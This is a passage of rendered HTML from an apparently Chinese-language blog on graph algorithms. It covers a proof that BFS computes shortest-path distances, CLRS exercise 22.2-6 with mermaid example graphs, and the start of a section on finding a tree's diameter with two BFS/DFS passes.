class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 出队之前就被发现了。</p></li><li><p>假设 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 是灰色的，那么取 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>w</mi></mrow><annotation encoding="application/x-tex">w</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span></span></span></span> 为发现 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 的顶点，则 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi mathvariant="normal">.</mi><mi>d</mi><mo>=</mo><mi>w</mi><mi mathvariant="normal">.</mi><mi>d</mi><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">v.d = w.d + 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，又因为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>w</mi></mrow><annotation encoding="application/x-tex">w</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span></span></span></span> 在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 出队之前就被发现了，所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>w</mi><mi mathvariant="normal">.</mi><mi>d</mi><mo>≤</mo><mi>u</mi><mi mathvariant="normal">.</mi><mi>d</mi></mrow><annotation encoding="application/x-tex">w.d \le u.d</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8304em;vertical-align:-0.136em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal">d</span></span></span></span>，所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi mathvariant="normal">.</mi><mi>d</mi><mo>=</mo><mi>w</mi><mi mathvariant="normal">.</mi><mi>d</mi><mo>+</mo><mn>1</mn><mo>≤</mo><mi>u</mi><mi mathvariant="normal">.</mi><mi>d</mi><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">v.d = w.d + 1 \le u.d + 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，矛盾了。</p></li></ol><p>综上，说明假设不成立，所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi mathvariant="normal">.</mi><mi>d</mi><mo>=</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>s</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">v.d = \delta(s, v)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal">s</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span></span></span></span>。</p><blockquote><p>按照 22.2-3 提示，其实不需要区分 BLACK、GRAY 和 WHITE 三种颜色，直接用一个布尔值来表示是否被访问过，<code>bool visited</code> 即可。</p></blockquote><p>广度优先搜索树就是 BFS 过程中，比如由 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 决定到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>s</mi></mrow><annotation encoding="application/x-tex">s</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">s</span></span></span></span> 的距离这样的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>u</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(u, v)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">u</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span></span></span></span> 连接起来组成的树，从 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>s</mi></mrow><annotation encoding="application/x-tex">s</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">s</span></span></span></span> 到达每个节点的距离都是最短路径。</p><p>但是路径并不唯一，显然如下图：</p><pre class="mermaid">graph LR    A((s)) --> B((u))    A((s)) --> C((v))    B((u)) --> D((w))    C((v)) --> D((w))</pre><p>可以有：</p><pre class="mermaid">graph LR    A((s)) --> B((u))    A((s)) --> C((v))    B((u)) --> D((w))</pre><p>和</p><pre class="mermaid">graph LR    A((s)) --> B((u))    A((s)) --> C((v))    C((v)) --> D((w))</pre><p>这取决于在遍历 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>s</mi></mrow><annotation encoding="application/x-tex">s</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">s</span></span></span></span> 的邻居时，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 的顺序。</p><p>若 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 在前，显然更先将 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 的邻居 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>w</mi></mrow><annotation encoding="application/x-tex">w</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span></span></span></span> 加入队列，所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>w</mi></mrow><annotation encoding="application/x-tex">w</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span></span></span></span> 的父节点就是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span>，反之亦然。</p><blockquote><p>22.2-6<br />举出一个有向图 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>G</mi><mo>=</mo><mo stretchy="false">(</mo><mi>V</mi><mo separator="true">,</mo><mi>E</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">G = (V, E)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">G</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mclose">)</span></span></span></span> 的例子，对于源结点 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>s</mi><mo>∈</mo><mi>V</mi></mrow><annotation encoding="application/x-tex">s \in V</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span></span></span></span> 和一组树边 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>E</mi><mi>π</mi></msub><mo>⊆</mo><mi>E</mi></mrow><annotation encoding="application/x-tex">E_\pi \subseteq E</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">π</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⊆</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span></span></span></span>，使得对于每个结点 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mo>∈</mo><mi>V</mi></mrow><annotation encoding="application/x-tex">v \in V</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span></span></span></span>，图 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>V</mi><mo separator="true">,</mo><msub><mi>E</mi><mi>π</mi></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(V, E_\pi)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">π</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span> 中从源结点 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>s</mi></mrow><annotation encoding="application/x-tex">s</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">s</span></span></span></span> 到结点 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 的唯一简单路径也是图 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>G</mi></mrow><annotation encoding="application/x-tex">G</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">G</span></span></span></span> 中的一条最短路径；但是，不管邻接链表里结点之间的次序如何，边集 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>E</mi><mi>π</mi></msub></mrow><annotation encoding="application/x-tex">E_\pi</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">π</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 都不能通过在图 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>G</mi></mrow><annotation encoding="application/x-tex">G</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">G</span></span></span></span> 上运行 BFS 来获得。</p></blockquote><p><s>想半天没想出来，看了眼答案大彻大悟了，简而言之是贪心</s></p><pre class="mermaid">graph LR    A((s)) --> B((u))    A((s)) --> C((v))    B((u)) --> D((x))    B((u)) --> E((y))    C((v)) --> D((x))    C((v)) --> E((y))</pre><p>无法 BFS 得出：</p><pre class="mermaid">graph LR    A((s)) --> B((u))    A((s)) --> C((v))    B((u)) --> D((x))    C((v)) --> E((y))</pre><p>只能得出：</p><pre class="mermaid">graph LR    A((s)) --> B((u))    A((s)) --> C((v))    B((u)) --> E((y))    B((u)) --> D((x))</pre><p>或者</p><pre class="mermaid">graph LR    A((s)) --> B((u))    A((s)) --> C((v))    C((v)) --> D((x))    C((v)) --> E((y))</pre><h2 id="the-diameter-of-a-tree"><a class="markdownIt-Anchor" href="#the-diameter-of-a-tree"></a> The Diameter of a Tree</h2><p>树的直径指的是树中任意两个节点之间的最长路径的长度。</p><p>可以很简单的发现直径的两端必然是树的叶子节点。</p><p>当确定直径的一端之后，另一端可以简单的从该端开始 BFS 来找到距离最远的节点得到。</p><p>有两种实现：</p><ul><li>两次 BFS/DFS</li><li>DP</li></ul><h3 id="两次-bfsdfs"><a class="markdownIt-Anchor" href="#两次-bfsdfs"></a> 两次 BFS/DFS</h3><p>需要证明从任意节点 BFS 得到的距离最远的节点 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex">A</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 是树的直径的一端，以及从 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex">A</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> BFS 得到的距离最远的节点 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi></mrow><annotation encoding="application/x-tex">B</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span></span> 是树的直径的另一端。</p><blockquote><p>树的直径可以有多种，但长度相同。</p></blockquote><p>先证明第一个结论：</p><p>假设直径的两端为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex">A</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi></mrow><annotation encoding="application/x-tex">B</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span></span>，从任意节点 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi></mrow><annotation encoding="application/x-tex">S</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span> BFS 得到的距离最远的节点为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>X</mi></mrow><annotation encoding="application/x-tex">X</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span></span></span></span>。</p><p>分两种情况：</p><ul><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mo>→</mo><mi>X</mi></mrow><annotation encoding="application/x-tex">S \rightarrow X</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span></span></span></span> 交 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mo>→</mo><mi>B</mi></mrow><annotation encoding="application/x-tex">A \rightarrow B</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span></span> 的路径于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>C</mi></mrow><annotation encoding="application/x-tex">C</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span></li></ul><pre class="mermaid">graph LR    S((S)) --> C((C))    C((C)) --> A((A))    C((C)) --> X((X))    C((C)) --> B((B))</pre><ul><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mo>→</mo><mi>X</mi></mrow><annotation encoding="application/x-tex">S \rightarrow X</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span></span></span></span> 不交 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mo>→</mo><mi>B</mi></mrow><annotation encoding="application/x-tex">A \rightarrow B</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span></span></li></ul><pre class="mermaid">graph LR    S((S)) --> C((C))    S((S)) --> X((X))    C((C)) --> A((A))    C((C)) --> B((B))</pre><p>首先考虑第一种：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>D</mi><mrow><mi>A</mi><mo separator="true">,</mo><mi>B</mi></mrow></msub><mo>=</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>A</mi><mo separator="true">,</mo><mi>C</mi><mo stretchy="false">)</mo><mo>+</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>C</mi><mo separator="true">,</mo><mi>B</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">D_{A, B} = \delta(A, C) + \delta(C, B)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">A</span><span class="mpunct mtight">,</span><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">)</span></span></span></span></span></p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>δ</mi><mo stretchy="false">(</mo><mi>S</mi><mo separator="true">,</mo><mi>A</mi><mo stretchy="false">)</mo><mo>=</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>S</mi><mo separator="true">,</mo><mi>C</mi><mo stretchy="false">)</mo><mo>+</mo><mi>δ</mi><mo stretchy="false">(</mo><mi>C</mi><mo separator="true">,</mo><mi>A</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\delta(S, A) = \delta(S, C) + \delta(C, A)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span 